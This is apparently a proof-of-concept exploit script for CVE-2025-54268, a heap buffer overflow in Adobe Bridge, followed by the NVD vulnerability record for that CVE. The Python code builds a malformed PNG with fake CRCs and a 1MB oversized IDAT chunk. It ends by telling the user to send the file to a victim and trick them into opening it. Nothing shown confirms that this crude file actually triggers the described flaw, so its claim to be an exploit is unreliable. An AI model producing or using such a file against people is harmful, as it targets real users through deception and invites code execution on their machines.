CVE-2025-54268

# CVE-2025-54268 PoC - Adobe Bridge Heap-based Buffer Overflow # This PoC demonstrates the concept of triggering a heap buffer overflow # in Adobe Bridge by crafting a malicious file with oversized data. import struct def create_malicious_file(output_path): """ Create a crafted file that triggers heap buffer overflow in Adobe Bridge. The file contains a header followed by oversized payload data that exceeds the expected buffer size during parsing. """ # File header - mimics a valid file format recognized by Adobe Bridge header = b'\x89PNG\r\n\x1a\n' # PNG magic bytes # IHDR chunk (Image Header) - 13 bytes of data ihdr_data = struct.pack('>IIBBBBB', 100, 100, 8, 2, 0, 0, 0) ihdr_crc = struct.pack('>I', 0x1A2B3C4D) # Dummy CRC ihdr_chunk = struct.pack('>I', len(ihdr_data)) + b'IHDR' + ihdr_data + ihdr_crc # Malicious oversized IDAT chunk - triggers heap buffer overflow # Normal IDAT chunks are bounded by the image dimensions, # but we provide data far exceeding expected buffer size overflow_size = 0x100000 # 1MB of overflow data overflow_payload = b'\x41' * overflow_size # Craft IDAT chunk with oversized compressed data idat_chunk = struct.pack('>I', len(overflow_payload)) + b'IDAT' + overflow_payload idat_crc = struct.pack('>I', 0xDEADBEEF) idat_chunk += idat_crc # IEND chunk - marks end of PNG iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) # Assemble the malicious file malicious_file = header + ihdr_chunk + idat_chunk + iend_chunk with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file created: {output_path}") print(f"[!] File size: {len(malicious_file)} bytes") print(f"[!] Overflow payload size: {overflow_size} bytes") if __name__ == '__main__': create_malicious_file('exploit_CVE-2025-54268.png') print("\n[*] Usage: Send this file to victim and trick them into") print(" opening it with Adobe Bridge (versions <= 14.1.8 or <= 15.1.1)")

{"cve": {"id": "CVE-2025-54268", "sourceIdentifier": "[email protected]", "published": "2025-10-15T02:15:32.577", "lastModified": "2025-10-17T14:56:22.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bridge versions 14.1.8, 15.1.1 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.1.9", "matchCriteriaId": "70872963-B8B3-4FF2-A385-EE947C674658"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:bridge:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.1.2", "matchCriteriaId": "843910D3-C728-47AA-8E29-060F4E55AF11"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/bridge/apsb25-96.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}